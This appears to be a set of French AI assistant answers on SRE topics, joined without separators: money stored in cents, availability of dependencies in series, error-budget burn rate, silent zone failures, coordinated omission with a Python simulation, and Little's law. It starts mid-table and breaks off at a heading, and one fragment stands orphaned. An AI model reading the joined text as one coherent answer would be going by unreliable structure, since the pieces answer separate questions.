|---|---|---|
| PostgreSQL | `BIGINT` en centimes, ou `NUMERIC(12,2)` (décimal exact) | `REAL`, `DOUBLE PRECISION`, `FLOAT` |
| Python | `int` en centimes, ou `decimal.Decimal` | `float` |
| JavaScript / TypeScript | `number` entier en centimes, ou `BigInt` | `number` en euros décimaux |
| API JSON | entier `amount_cents` + champ `currency` | flottant `"price": 0.1` |
| Affichage | conversion en euros **au dernier moment seulement** | conversion en amont des calculs |
Trois précautions supplémentaires, souvent oubliées :
1. **La TVA et les remises** produisent des non-entiers de centimes. Fixez une politique d'arrondi explicite et unique (par exemple arrondi au centime le plus proche, mode « half up » commercial), appliquée au même niveau d'agrégation que celui de votre facture, et documentez-la. L'ordre « arrondir chaque ligne puis sommer » et « sommer puis arrondir » ne donnent pas le même total.
2. **Les devises à subdivision différente** : le dinar tunisien a 3 décimales, le yen japonais 0. Ne codez pas « ×100 » en dur, dérivez le facteur de la devise.
3. **Ne comparez jamais deux montants flottants par égalité.** Avec des entiers, `total == expected` redevient légitime.
## Synthèse
| Question | Réponse |
|---|---|
| Défaut | Représentation binaire inexacte de $1/10$ (facteur 5 au dénominateur) puis accumulation de 10 arrondis successifs |
| Représentation de 0,1 | $3602879701896397 / 2^{55}$, bits `3FB999999999999A` |
| Unité entière | Le centime : $0{,}1\ \text{€} \to 10$, stocké en `BIGINT` / `int` |
| Résultat exact du flottant | $(2^{53}-1)/2^{53} = 0{,}99999999999999988897769753748\ldots$, soit $1$ moins un ulp $= 2^{-53}$ |
| Résultat exact en entier | $10 \times 10 = 100$ centimes $= 1{,}00\ \text{€}$ |
Hypothèses déclarées : arithmétique IEEE 754 binary64 avec arrondi au plus proche, mode pair (le comportement par défaut des processeurs et langages courants) ; devise à 2 décimales. Toutes les valeurs numériques ci-dessus proviennent d'une exécution effective dans le laboratoire Python local, aucune n'est reconstituée de mémoire.# Diagnostic quantitatif
## 1. Modèle et calcul
Pour deux composants indépendants **en série** (les deux doivent fonctionner), les disponibilités se multiplient :
$$A_{\text{chemin}} = A_1 \times A_2 = 0{,}9995 \times 0{,}9995$$
$$A_{\text{chemin}} = 0{,}99900025 \;\Longrightarrow\; \mathbf{99{,}900025\ \%}$$
À six décimales en pourcentage : **99,900025 %** (valeur exacte, pas un arrondi). En fraction à six décimales : **0,999000**.
Ces valeurs sont issues du calcul exécuté ci-dessus dans le laboratoire local, avec arithmétique décimale exacte (`Decimal`).
## 2. Comparaison à la cible
| Grandeur | Cible 99,9 % | Chemin en série | Écart |
|---|---|---|---|
| Disponibilité | 99,900000 % | 99,900025 % | +0,000025 point |
| Indisponibilité annuelle | 525,600 min | 525,469 min | 0,131 min ≈ **7,9 s** de marge |
| Indisponibilité mensuelle (30 j) | 43,200 min | 43,189 min | ≈ 0,65 s |
Conclusion factuelle : la cible est **techniquement tenue, mais avec une marge de 7,9 secondes par an**, soit environ 0,0025 % du budget d'erreur. C'est une marge nulle en pratique.
Et surtout, ce calcul **ignore le frontal lui-même**. Si le service frontal a sa propre disponibilité intrinsèque, elle vient en facteur supplémentaire :
- Pour tenir 99,9 % en bout de chaîne, le frontal devrait afficher $A_{\text{front}} \ge 0{,}999/0{,}99900025 = 99{,}999975\ \%$, soit environ 13 secondes d'indisponibilité propre par an. Irréaliste pour un composant applicatif.
- Si le frontal est lui aussi à 99,95 %, alors $A = 0{,}9995^3 = 99{,}850075\ \%$, soit **788 min/an**, soit **1,50 fois le budget** : la promesse est violée.
## 3. Cause
1. **Cause mathématique : composition multiplicative des dépendances en série.** Sans redondance, la disponibilité d'un chemin est le produit des disponibilités, donc toujours inférieure au plus faible maillon. Deux maillons à 99,95 % ne peuvent pas produire mieux que 99,900025 %.
2. **Cause de conception : promesse externe calibrée au niveau des composants et non du chemin.** Le SLA a été fixé à 99,9 % sans réserver de budget d'erreur pour le frontal, le réseau, les équilibreurs, le DNS, les déploiements et les fenêtres de maintenance, tous facteurs qui s'ajoutent au produit.
3. **Cause structurelle : absence de redondance,** donc chaque dépendance est un point de défaillance unique (SPOF) et sa panne se propage intégralement à l'utilisateur.
Réserve : ce modèle suppose des pannes **indépendantes**. En production, les corrélations (même zone de disponibilité, même base de données, même déploiement, même certificat expirant) rendent la disponibilité réelle **inférieure** au produit calculé. Le chiffre 99,900025 % est donc une borne supérieure optimiste, pas une prédiction.
## 4. Remèdes, par ordre d'efficacité
**a) Redondance des dépendances (traite la cause racine).** Deux instances indépendantes d'un composant à 99,95 % en parallèle donnent :
$$A_{\text{paire}} = 1 - (1-0{,}9995)^2 = 99{,}999975\ \%$$
Chaîne de deux paires redondantes : $A = 99{,}99995\ \%$, soit **0,26 min/an ≈ 15,8 s/an** (calcul exécuté). Le budget d'erreur passe de saturé à quasi intact. Condition impérative : indépendance réelle des pannes (zones, réseaux, versions, données distinctes), sinon le gain théorique ne se matérialise pas.
**b) Découplage : rendre la dépendance non bloquante.** Si un des deux services n'est pas critique pour la réponse principale, sortez-le du chemin série : appel asynchrone (file d'attente), cache avec service dégradé, valeur par défaut, disjoncteur (circuit breaker) avec repli. Un composant hors du chemin critique disparaît du produit.
**c) Corriger la promesse.** Publier un SLA cohérent avec l'architecture, par exemple 99,5 % mensuel, tant que la redondance n'est pas en place. Un SLA doit être dérivé du chemin critique, jamais des composants pris isolément.
**d) Mesures d'accompagnement.** Réduire le MTTR (détection, bascule automatique, rollback outillé), car $A = \text{MTBF}/(\text{MTBF}+\text{MTTR})$ ; exclure contractuellement les maintenances planifiées ; suivre un budget d'erreur mensuel avec gel des déploiements en cas d'épuisement ; timeouts et retries bornés avec jitter pour éviter que la latence d'un maillon ne devienne indisponibilité perçue.
## 5. Vérification
Contrôle de cohérence : $1 - 0{,}99900025 = 0{,}00099975$ ; $0{,}00099975 \times 525\,600 = 525{,}4686$ min, cohérent avec la sortie du calcul. Somme approchée des indisponibilités, $2 \times 0{,}0005 = 0{,}001$, soit 525,6 min, encadre bien le résultat exact par le haut, l'écart $p^2 = 2{,}5\times10^{-7}$ correspondant aux 7,9 s de marge.
## 6. Limites
Aucune donnée réelle de production ne m'a été fournie : je n'ai pas accès à vos historiques d'incidents, à la topologie exacte, ni à la définition contractuelle de l'indisponibilité (fenêtre de mesure, seuil d'erreurs HTTP, latence considérée comme panne). Tous les chiffres ci-dessus sont des résultats de modèle sous hypothèse d'indépendance, à partir des seules valeurs 99,9 % et 99,95 % que vous avez données. Pour trancher, il faut mesurer la disponibilité observée du chemin sur au moins 3 mois et vérifier la corrélation des pannes.## Données
| Grandeur | Valeur |
|---|---|
| Objectif de disponibilité (SLO) | $99{,}99\ \%$ |
| Budget d'erreur autorisé | $1 - 0{,}9999 = 10^{-4} = 0{,}01\ \%$ |
| Taux d'erreur observé sur la fenêtre | $0{,}2\ \% = 2 \times 10^{-3}$ |
## Raisonnement chiffré
Budget d'erreur :
$$E_{\text{budget}} = 1 - \text{SLO} = 1 - 0{,}9999 = 0{,}0001 = 0{,}01\ \%$$
Taux observé :
$$E_{\text{obs}} = 0{,}002 = 0{,}2\ \%$$
Burn rate (vitesse de consommation du budget) :
$$\text{BR} = \frac{E_{\text{obs}}}{E_{\text{budget}}} = \frac{2 \times 10^{-3}}{1 \times 10^{-4}} = \mathbf{20}$$
Dépassement absolu : $0{,}2\ \% - 0{,}01\ \% = 0{,}19$ point de pourcentage, soit un taux d'erreur **20 fois** la cible.
Traduction en durée, pour un budget mensuel de référence de 30 jours :
- budget autorisé : $30 \times 24 \times 60 \times 10^{-4} = \mathbf{4{,}32}$ minutes d'indisponibilité par mois ;
- à un burn rate de 20, le budget mensuel entier est consommé en $30 / 20 = \mathbf{1{,}5}$ jour, soit **36 heures**.
Disponibilité effective implicite sur la fenêtre : $99{,}8\ \%$, contre $99{,}99\ \%$ visé.
*(Tous ces nombres ont été calculés avec l'outil de calcul local, sortie vérifiée.)*
## Verdict
**Violation nette du SLO.** La fenêtre consomme le budget d'erreur 20 fois plus vite que le rythme soutenable ($\text{BR} = 1$ correspond à l'épuisement exact du budget en fin de période). Le seul $\text{BR} > 1$ suffit à établir que la trajectoire est non soutenable ; à $\text{BR} = 20$, il s'agit d'un incident de fiabilité, pas d'une dérive marginale. Action attendue : gel des déploiements à risque, ouverture d'incident, recherche de la cause dominante des erreurs.
## Hypothèses et limites, à valider avant décision
1. **Homogénéité de l'unité de mesure** : le calcul suppose que $0{,}2\ \%$ est mesuré sur la même population d'événements que le SLO (mêmes requêtes éligibles, ou même base temporelle). Mélanger un SLO en temps et une mesure en requêtes invaliderait le rapport.
2. **Longueur de la fenêtre non précisée** : le burn rate de 20 est un fait sur cette fenêtre, mais la gravité opérationnelle dépend de sa durée. Un $\text{BR} = 20$ pendant 5 minutes consomme $\approx 1{,}7\ \%$ du budget mensuel ; pendant 6 heures, il en consomme $\approx 16{,}7\ \%$. Cette distinction est arithmétique, pas une opinion, mais elle exige la durée réelle.
3. **Volume et significativité** : sur un faible nombre de requêtes, $0{,}2\ \%$ peut résulter du bruit d'échantillonnage. Avec $n$ requêtes et un taux réel égal à la cible, l'intervalle de confiance fréquentiste sur la proportion doit être examiné ; le verdict n'est robuste que si $n$ est assez grand. Fournissez $n$ pour trancher.
4. **Budget déjà consommé** : le verdict porte sur la vitesse instantanée. Le reste de budget disponible sur la période en cours n'est pas déductible des seules données fournies.
5. **Seuils d'alerte multi-fenêtres** : des seuils conventionnels de burn rate circulent dans la littérature SRE, mais ma base encyclopédique locale ne contient pas d'article sur le budget d'erreur (recherche effectuée, aucun résultat pertinent). Je ne cite donc aucune valeur seuil comme sourcée.# Diagnostic
## 1. Type de panne
**Panne partielle silencieuse au niveau applicatif, localisée à une zone : perte de correctude de la réponse sans perte de disponibilité au sens transport.**
Caractérisation précise :
| Couche | État |
|---|---|
| TCP / handshake | sain (établi, pas de RST, pas de timeout) |
| HTTP protocolaire | sain (statut 200, réponse complète et rapide) |
| Charge utile applicative | **défaillante** (corps vide, donc réponse non conforme au contrat) |
| Portée | **1 zone sur N**, ~15 % des requêtes de cette zone |
C'est le motif classique dit de « **grey failure** » ou d'**échec silencieux** : le système renvoie un succès formel pour un traitement qui a échoué. Selon la littérature d'ingénierie de la fiabilité, ce type d'échec partiel est plus dangereux qu'une panne franche, parce que les mécanismes de reprise (retry, health check, éjection de backend) ne se déclenchent pas (principe général de l'ingénierie de fiabilité ; je le présente comme cadre d'analyse reconnu, non comme citation d'un texte précis dont je disposerais ici).
Hypothèses causales plausibles, à départager par les mesures du point 4, aucune n'est établie à ce stade :
- Dépendance aval (cache, base de données, service de données) dégradée dans cette zone, avec un chemin d'erreur qui retourne un objet vide au lieu de propager une erreur 5xx (`except: return []` ou équivalent).
- Un sous-ensemble d'instances dans la zone : une instance sur ~6,7 (15 % ≈ 1/6,7) mal démarrée, cache local vide, secret ou volume non monté, feature flag divergent, version de déploiement partiellement propagée.
- Réplication asynchrone en retard sur la réplique locale de la zone : lecture d'un jeu de données non encore hydraté.
- Sérialisation/compression rompue en sortie (réponse tronquée à 0 octet, `Content-Length: 0`) sur un chemin de proxy propre à la zone.
## 2. Signal trompeur
Trois signaux se conjuguent pour masquer l'incident :
1. **Le code 200 utilisé comme preuve de succès.** Le statut HTTP atteste que la requête a été traitée, pas que le résultat est correct. Confusion à nommer explicitement : *disponibilité du transport* ≠ *validité de la réponse*. Un 200 vide est un échec fonctionnel comptabilisé comme succès.
2. **La latence normale, voire améliorée.** Un chemin d'erreur court-circuité est souvent **plus rapide** que le chemin nominal. La latence p50/p99 peut donc s'améliorer pendant la panne, ce qui inverse le sens de l'alerte habituelle. Toute alerte fondée sur la latence est structurellement aveugle ici.
3. **L'agrégation qui dilue le défaut.** Avec 3 zones à trafic égal, 15 % d'une zone représentent $\frac{0{,}15}{3} = 5\,\%$ du trafic global. Le tableau de dilution, calculé :
| Nombre de zones (trafic égal) | Taux d'échec global |
|---|---|
| 2 | 7,5 % |
| 3 | **5,0 %** |
| 4 | 3,75 % |
| 5 | 3,0 % |
Un taux global de 5 % passe fréquemment sous un seuil d'alerte réglé à 1 % ou 5 %, alors que **pour l'utilisateur de la zone touchée, le service est cassé une fois sur 7**.
Piège supplémentaire, et c'est le plus grave : les **health checks** renvoient sans doute 200 eux aussi. L'équilibreur de charge et l'orchestrateur ne retirent donc aucune instance, et les clients ne rejouent pas la requête. La panne est auto-persistante.
## 3. SLI requis
Le SLI actuel (implicitement : proportion de requêtes non-5xx, ou disponibilité TCP) est **inadéquat par construction**. Il faut un SLI de **validité de la réponse**, évalué côté serveur sur le journal des requêtes, et non un simple SLI de code de statut.
Définition proposée, formulée comme un ratio de bonnes requêtes :
$$\text{SLI}_{\text{validité}} = \frac{\#\{\text{requêtes avec statut } 200 \ \wedge\ \text{corps conforme}\}}{\#\{\text{requêtes servies éligibles}\}}$$
où « corps conforme » est un prédicat explicite et testable, à décliner par famille d'endpoint :
| Prédicat | Critère opérationnel |
|---|---|
| Taille non nulle | `bytes_sent > seuil_min` propre à l'endpoint, jamais un seuil global unique |
| Conformité de schéma | corps parsable et validé (JSON Schema / OpenAPI), champs obligatoires présents |
| Non-vacuité sémantique | pour une collection : `count > 0` **quand la requête devait retourner des éléments**, ce qui exige de distinguer le vide légitime du vide fautif |
| Cohérence déclarée | `Content-Length` cohérent avec les octets réellement émis, absence de troncature |
Points de rigueur indispensables :
- **Le vide légitime existe.** Une recherche sans résultat, un panier vide, un 204, une réponse conditionnelle 304 doivent être exclus du numérateur négatif. Sans cette exclusion, le SLI produira du faux positif permanent et sera désactivé par les équipes. La bonne pratique est d'instrumenter le code applicatif pour émettre une étiquette `result_class` (`ok_non_empty`, `ok_empty_legitime`, `empty_fault`), plutôt que de deviner depuis le proxy.
- **SLI complémentaire de fraîcheur/correctude** si la cause suspectée est un retard de réplication : proportion de requêtes servies par une réplique dont le retard est inférieur à un seuil.
- **SLI de qualité du health check** : le probe applicatif doit vérifier le corps, sinon il continuera de certifier des instances mortes. Un probe qui teste `HTTP 200` sans assertion sur le contenu est équivalent à une absence de test.
- **Deux SLI, pas un seul** : garder la disponibilité protocolaire (elle détecte les pannes franches) et ajouter la validité (elle détecte ce cas). Le SLO doit porter sur les deux.
**Alerte, par taux de consommation du budget d'erreur (burn rate), pour un SLO mensuel sur 30 jours et un échec global de 5 %** :
| SLO de validité | Budget d'erreur | Burn rate | Budget mensuel épuisé en |
|---|---|---|---|
| 99,9 % | 0,1 % | **50×** | 14,40 h |
| 99,5 % | 0,5 % | 10× | 72,00 h |
| 99,0 % | 1,0 % | 5× | 144,00 h |
À 99,9 %, l'incident consomme le budget mensuel en moins de 15 heures : il justifie une alerte de page immédiate, même à 5 % d'impact global. C'est l'argument quantitatif qui doit remplacer le seuil fixe.
**Alerte impérativement calculée par zone**, avec la fenêtre multiple habituelle (une fenêtre courte pour la réactivité, une longue pour éviter le battement).
## 4. Segmentation
La règle : **ne jamais alerter ni conclure sur l'agrégat**. Il faut découper selon les dimensions susceptibles d'isoler les 15 %. Ordre de priorité, du plus discriminant au plus fin :
**Niveau 1, confirmer la localisation**
- `zone` / `région` : confirme la concentration et donne le facteur de dilution.
- `instance` / `pod` / `hôte`, à l'intérieur de la zone. **Test décisif** : si les 15 % se concentrent sur une fraction d'instances, la cause est locale à ces instances ; si les 15 % sont répartis uniformément sur toutes les instances de la zone, la cause est une dépendance partagée de la zone. Ces deux issues conduisent à des remédiations opposées, il faut donc trancher avant d'agir.
**Niveau 2, identifier le mécanisme**
- `version de déploiement` / `révision` / `image` : déploiement partiel, canari oublié.
- `valeur du feature flag` et `identifiant de configuration` servis.
- `dépendance aval` : identité de la réplique de base de données, nœud de cache, retard de réplication ; taux d'échec et de timeout par dépendance et par zone.
- `chemin de code` : étiqueter explicitement les retours de secours (fallback), les circuits ouverts, les résultats de cache manqué. Un compteur `fallback_empty_returned` par zone est souvent le signal le plus direct.
**Niveau 3, cerner l'exposition**
- `endpoint` / `route` et `méthode` : un seul endpoint touché orienterait vers une régression de sérialisation.
- `locataire` / `client` / `clé d'API`, `segment d'utilisateur` : mesurer la concentration, car 15 % de requêtes peuvent signifier 100 % pour un petit nombre de clients.
- `nature du cache` : réponse issue du cache CDN ou du service ; un objet vide mis en cache prolonge la panne bien au-delà de la cause.
**Niveau 4, mesurer l'expérience réellement subie**
- Ratio de bonnes requêtes **par utilisateur** et non par requête, ainsi qu'un indicateur de type « minutes mauvaises par utilisateur », car la moyenne par requête masque une concentration sur quelques clients.
- Télémétrie client (RUM), pour vérifier que le défaut est bien vu de l'extérieur.
**Sur la surveillance synthétique (prober), calcul de puissance de détection.** Pour observer au moins une réponse vide avec 99 % de confiance à $p = 0{,}15$ :
$$n \ge \frac{\ln(0{,}01)}{\ln(1-0{,}15)} \approx 29 \text{ requêtes}$$
Mais si le prober est routé indifféremment et n'atteint la zone touchée qu'une fois sur trois, la probabilité effective tombe à 5 % et il faut :
$$n \ge \frac{\ln(0{,}01)}{\ln(1-0{,}05)} \approx 90 \text{ requêtes}$$
**Conséquence opérationnelle** : un prober à faible cadence, non épinglé par zone, ne détectera pas cet incident dans un délai utile. Il faut un prober **par zone**, avec point d'entrée forcé, cadence suffisante, et **assertion sur le corps de la réponse**, pas seulement sur le code.
## Actions immédiates recommandées
1. Interroger les journaux d'accès avec un filtre `status == 200 AND bytes_sent == 0`, ventilé par zone puis par instance. C'est la requête qui tranche entre les deux hypothèses du niveau 1. Opération de lecture seule, sans risque de perte de service.
2. Ajouter l'assertion de corps au probe applicatif, afin que l'équilibreur puisse éjecter les instances fautives. Risque résiduel à évaluer avant application : si la cause est une dépendance partagée de zone, un probe strict peut éjecter **toute** la zone d'un coup et provoquer une surcharge des zones restantes. Vérifiez d'abord la capacité de réserve, et préférez une éjection plafonnée (par exemple au plus 30 % des instances simultanément).
3. Vérifier si des corps vides ont été mis en cache (CDN ou cache applicatif) et, le cas échéant, purger de façon **ciblée** sur les clés concernées. Une purge globale est déconseillée : elle déclencherait une vague de cache manqué et un risque de surcharge du service déjà dégradé.
4. Instaurer une alerte de burn rate sur le SLI de validité, calculée par zone.
## Limites de cette analyse
- Je n'ai accès à aucun journal, métrique ni configuration de votre système. Le type de panne est **inféré des symptômes que vous décrivez** ; les causes listées sont des hypothèses à confirmer, non des faits établis.
- Le nombre de zones, la répartition du trafic et l'égalité de charge ne m'ont pas été communiqués : les 5 % de dilution reposent sur l'hypothèse explicite de 3 zones équilibrées.
- Les 15 % sont un taux observé ; sans l'intervalle de confiance associé (donc sans le volume de requêtes), il n'est pas possible d'affirmer que le taux est stable dans le temps plutôt qu'en dérive.
- L'attribution de la panne à une zone est une **corrélation** entre le défaut et la dimension zone ; elle n'établit pas que la zone en est la cause. Une clé de partitionnement ou un locataire dont le trafic est concentré dans cette zone produirait le même motif.## 1. Diagnostic, le biais
Le biais est l'**omission coordonnée** (*coordinated omission*), un cas de **biais de sélection dépendant de l'état du système** : les instants où le service est le plus dégradé sont précisément ceux où le générateur cesse d'échantillonner. Ce n'est ni du bruit statistique, ni un défaut de préchauffage, ni du sur-apprentissage de la charge.
Conséquences, deux distinctes qu'il ne faut pas confondre :
| Grandeur | Effet du biais | Sens de l'erreur |
|---|---|---|
| Quantiles hauts de latence | Effondrés | Sous-estimation, croissante avec le quantile |
| Débit soutenu annoncé | Réduit mécaniquement | Sous-estimation, mais le SLA de latence paraît tenu |
| Latence médiane | Quasi intacte | Le biais se concentre dans la queue |
Point important : le générateur ne mesure pas la latence vue par un client, il mesure le **temps de service conditionné à un système déjà disponible**. Ce sont deux quantités différentes.
## 2. Cause, le mécanisme
Le générateur est une **boucle fermée** : la date d'émission de la requête $k+1$ dépend de la date de réponse de la requête $k$. Il s'auto-limite (*self-throttling*). La loi de Little appliquée à un modèle fermé à $N$ clients et temps de réflexion $Z$ donne
$$X = \frac{N}{R + Z}$$
où $X$ est le débit et $R$ le temps de réponse. Quand $R$ explose pendant la pause, $X$ s'effondre par construction : la charge disparaît au moment où elle devrait s'accumuler.
Comptage des échantillons perdus. Avec un intervalle d'arrivée visé $i$, une pause de durée $D$ et $N$ connexions :
$$n_{\text{attendus}} = \frac{D}{i}, \qquad n_{\text{obtenus}} = N, \qquad \text{taux d'omission} = 1 - \frac{N i}{D}$$
Pour $\lambda = 1000$ req/s ($i = 1$ ms), $D = 5$ s :
- $N = 1$ : 1 échantillon au lieu de 5000, soit **99,98 %** d'omission ;
- $N = 100$ : 100 au lieu de 5000, soit **98 %** d'omission.
Augmenter le nombre de connexions atténue donc à peine le biais, il ne le supprime pas.
## 3. Modèle correct
**Modèle ouvert.** Les arrivées sont planifiées sur une **horloge absolue**, indépendamment des réponses : instants prévus $t_k = t_0 + k\,i$ (cadence déterministe) ou processus de Poisson d'intensité $\lambda$ si vous voulez de la rafale réaliste. La latence à enregistrer est
$$L_k = t^{\text{réponse}}_k - t^{\text{prévu}}_k$$
et non $t^{\text{réponse}}_k - t^{\text{envoi}}_k$. La différence entre les deux est exactement le temps d'attente escamoté.
Contrainte de validité : il faut $\lambda < \mu_{\text{capacité}}$ en régime nominal, sinon la file du générateur croît sans borne et vous mesurez la saturation du client, pas du serveur.
**Correction a posteriori si vous restez en boucle fermée.** Rétro-remplissage : pour un échantillon $L$ mesuré avec intervalle attendu $i$, injecter les valeurs synthétiques $L - i,\ L - 2i,\ \dots$ tant qu'elles sont positives. C'est la logique de `recordValueWithExpectedInterval` de HdrHistogram (connaissance de domaine, je ne peux pas vérifier ici la version ni la signature exacte de l'API, à confirmer dans la documentation de la bibliothèque).
## 4. Mesure, illustration numérique
Simulation exécutée à l'instant (scénario synthétique, pas une mesure de système réel) : test de 100 s, cadence visée 1000 req/s, service nominal 1 ms, une pause de 5 s à $t = 50$ s.
| Modèle | n | p50 | p99 | p99,9 | p99,99 | max |
|---|---|---|---|---|---|---|
| Boucle fermée, 1 connexion | 95 001 | 1,0 | 1,0 | 1,0 | 1,0 | 5001 |
| Fermée + rétro-remplissage | 100 001 | 1,0 | 4001 | 4901 | 4991 | 5001 |
| Ouvert, vérité terrain | 100 000 | 1,0 | 4001 | 4901 | 4991 | 5001 |
Valeurs en ms. Le $p_{99{,}99}$ mesuré vaut **1 ms** au lieu de **4991 ms**, soit un facteur $\approx 5 \times 10^{3}$. Le débit mesuré tombe à 950 req/s contre 1000 visés, alors que le seul maximum reste visible.
Raisonnement de contrôle indépendant : la pause occupe $5/100 = 5\%$ du temps de test, donc **tout quantile au-delà de $p_{95}$ doit refléter la pause**. Un $p_{99}$ à 1 ms est arithmétiquement impossible, c'est le test de cohérence le plus simple à appliquer sur vos propres rapports.
Code de la simulation, reproductible :
```python
import numpy as np
dt, T, stall_start, stall_len, svc = 1e-3, 100.0, 50.0, 5.0, 1.0
t = np.arange(0, T, dt)
lat_open = np.full(t.size, svc)
m = (t >= stall_start) & (t < stall_start + stall_len)
lat_open[m] = (stall_start + stall_len - t[m]) * 1000.0 + svc # attente résiduelle, ms
lat_closed = np.concatenate([np.full(int(stall_start/dt), svc),
np.array([stall_len*1000 + svc]),
np.full(int((T-stall_start-stall_len)/dt), svc)])
backfill = np.arange(stall_len*1000 + svc, 0, -1.0) # rétro-remplissage, i = 1 ms
lat_fix = np.concatenate([np.full(int(stall_start/dt), svc), backfill,
np.full(int((T-stall_start-stall_len)/dt), svc)])
for nom, a in [("fermé", lat_closed), ("corrigé", lat_fix), ("ouvert", lat_open)]:
print(nom, a.size, [round(float(np.percentile(a, q)), 1)
for q in (50, 99, 99.9, 99.99, 100)])
```
## 5. Protocole de mesure à appliquer
1. **Générateur à arrivées ouvertes**, planification sur horloge monotone absolue, jamais sur la réponse précédente. Outils qui exposent ce mode, d'après ma connaissance du domaine, à vérifier dans leur documentation courante car ma mémoire peut être périmée : wrk2, k6 en exécuteur à taux d'arrivée constant, Gatling en injection ouverte, JMeter avec régulation de débit et un pool de threads largement surdimensionné.
2. **Enregistrer trois horodatages par requête** : instant prévu, instant d'envoi effectif, instant de réponse. Publier l'écart prévu contre envoyé, c'est votre indicateur de dette du générateur.
3. **Instrumenter le générateur lui-même** : taux d'émission effectif contre cible par fenêtre de 1 s, profondeur de la file de départ, saturation CPU et sockets du client. Un client saturé produit le même symptôme et il faut pouvoir l'exclure.
4. **Traiter les délais d'expiration comme des données censurées à droite**, pas comme des échantillons à jeter. Une requête coupée à 2 s donne $L \geq 2000$ ms, et les quantiles calculés en l'excluant sont des bornes inférieures, à annoncer comme telles.
5. **Publier des quantiles par fenêtre temporelle** plus le maximum par intervalle, pas seulement un histogramme agrégé sur tout le test. L'agrégat dilue les incidents rares, qui sont l'objet même de la mesure.
6. **Test de cohérence Little** : vérifier $N_{\text{en vol}} \approx \lambda \times R$. Un écart signale une omission ou une perte de requêtes.
7. **Rejouer la panne délibérément** (pause injectée de durée connue) et vérifier que le rapport la restitue. C'est une validation de l'instrument, à faire avant de faire confiance à la moindre valeur de $p_{99{,}9}$.
## 6. Risques et limites
- Le rétro-remplissage **n'apporte aucune information nouvelle**, il redistribue une observation unique sous une hypothèse forte : cadence maintenue, service FIFO, absence de rétroaction de la charge omise sur le serveur. En réalité, les 4999 requêtes non émises auraient provoqué files, retransmissions, expirations et peut être un effondrement de congestion. Le correctif est donc en général **optimiste**, il faut le présenter comme une borne inférieure du vrai $p_{99{,}9}$, pas comme la vérité.
- La concordance parfaite obtenue ci-dessus entre correction et vérité tient à la simplicité du scénario simulé. Un nombre fini de scénarios vérifiés **ne démontre pas** la validité générale de la correction ; il n'y a ici ni récurrence ni invariant, seulement une illustration.
- Un modèle ouvert mal dimensionné déplace le goulot d'étranglement vers le client. Il faut prouver, par instrumentation du générateur, que la cadence a réellement été tenue, sinon vous remplacez un biais par un autre.
- Le choix entre cadence déterministe et processus de Poisson change les quantiles hauts, la seconde étant plus sévère à débit moyen égal. Ce choix doit être déclaré avec le résultat, sans quoi les chiffres ne sont pas comparables entre campagnes.1. **Écart temporel :** le test applique immédiatement 10 000 req/s, tandis que la production atteint ce débit progressivement en dix minutes. **Correction :** reproduire la rampe de charge réelle sur dix minutes, avec éventuellement des paliers de stabilisation. 2. **Écart de cache et de clés :** un cache froid ne reproduit pas le comportement de production, où 80 % des clés sont réutilisées. Cette réutilisation ne permet toutefois pas, à elle seule, de déduire un taux de hit exact de 80 %. **Correction :** préchauffer le cache et générer les clés selon la distribution de production afin de reproduire le taux de réutilisation — puis vérifier le taux de hit réellement obtenu.
# Application de la loi de Little
## Données
| Grandeur | Symbole | Valeur |
|---|---|---|
| Débit d'arrivée | $\lambda$ | $500\ \text{req/s}$ |
| Temps de séjour moyen | $W$ | $240\ \text{ms} = 0{,}240\ \text{s}$ |
Conversion explicite : $240\ \text{ms} = 240 \times 10^{-3}\ \text{s} = 0{,}240\ \text{s}$.
## Calcul
Loi de Little : $L = \lambda W$ (résultat classique de la théorie des files d'attente, énoncé par J. D. C. Little ; voir l'article d'encyclopédie locale « Loi de Little » / « Little's law », que je n'ai pas ouvert ici, le calcul ci-dessous étant vérifié par l'outil de calcul local).
$$L = 500\ \text{s}^{-1} \times 0{,}240\ \text{s} = 120$$
Avec une marge de 20 % :
$$L_{\text{marge}} = 120 \times 1{,}20 = 144$$
Valeurs vérifiées par exécution locale : `120.0` et `144.0`.
## Résultats
- **Concurrence moyenne : $L = 120$ requêtes en cours simultanément.**
- **Concurrence dimensionnée avec 20 % de marge : $L_{\text{marge}} = 144$ requêtes en cours.**
## Unité
Le produit est **sans dimension** au sens strict : $\text{req}\cdot\text{s}^{-1} \times \text{s} = \text{req}$. L'unité pratique est donc un **nombre de requêtes en cours de traitement** (requêtes « in flight », occupation moyenne du système). Ce n'est ni des req/s, ni des secondes. Selon votre modèle d'exécution, cela se traduit en nombre de threads, de connexions, de workers ou de slots occupés en moyenne, à condition qu'une requête en vol occupe exactement une unité de ressource (hypothèse d'implémentation, à valider chez vous).
## Hypothèse de stabilité et conditions de validité
La loi de Little est un résultat exact, mais sous conditions. Les hypothèses engagées ici sont les suivantes.
1. **Régime stationnaire (stabilité)** : le système est observé sur une fenêtre longue où les moyennes convergent, sans dérive. Concrètement, le débit de sortie égale le débit d'entrée ($\lambda_{\text{out}} = \lambda_{\text{in}} = 500\ \text{req/s}$), la file ne croît pas indéfiniment et il n'y a pas d'accumulation nette. Si la file grossit, $W$ n'est pas stationnaire et le chiffre de 120 est invalide.
2. **Capacité de service strictement supérieure à la demande** : la stabilité au sens des files d'attente exige $\rho = \lambda / (c\mu) < 1$. Le calcul de Little ne prouve pas cette stabilité, il la présuppose.
3. **Conservation** : aucune requête perdue, ni abandonnée, ni dupliquée (sinon il faut utiliser le $\lambda$ réellement admis et le $W$ des requêtes effectivement servies, abandons inclus ou exclus de façon cohérente).
4. **Cohérence des frontières** : $\lambda$ et $W$ doivent porter sur le même périmètre. Si $240\ \text{ms}$ est la latence bout en bout perçue client, alors $L = 120$ compte tout le temps passé dans le système, file d'attente incluse, y compris chez les dépendances aval.
5. **Moyennes seulement** : la loi ne fait aucune hypothèse sur la loi de probabilité des arrivées ou des services, ce qui est sa force, mais elle ne donne **que la moyenne**. Elle ne borne pas les pics. La concurrence instantanée dépasse régulièrement 120 si les arrivées sont en rafale.
## Limites de la marge de 20 %
Le passage de 120 à 144 est une décision de dimensionnement, pas un résultat de la loi de Little. Point de rigueur important : **une marge de 20 % sur la moyenne ne couvre pas les percentiles hauts**. Pour des arrivées poissoniennes, l'écart-type de la concurrence est de l'ordre de $\sqrt{120} \approx 11$, donc un quantile à 99 % se situe nettement au-delà de 144 ; et en présence de rafales ou de corrélation, l'écart est bien plus grand. Le dimensionnement réel du pool doit s'appuyer sur la distribution mesurée de la concurrence, pas sur la seule moyenne. Ceci est une remarque méthodologique, chiffrée seulement à titre d'ordre de grandeur sous hypothèse de Poisson, non un fait mesuré sur votre système.
## Vérification et instrumentation recommandées
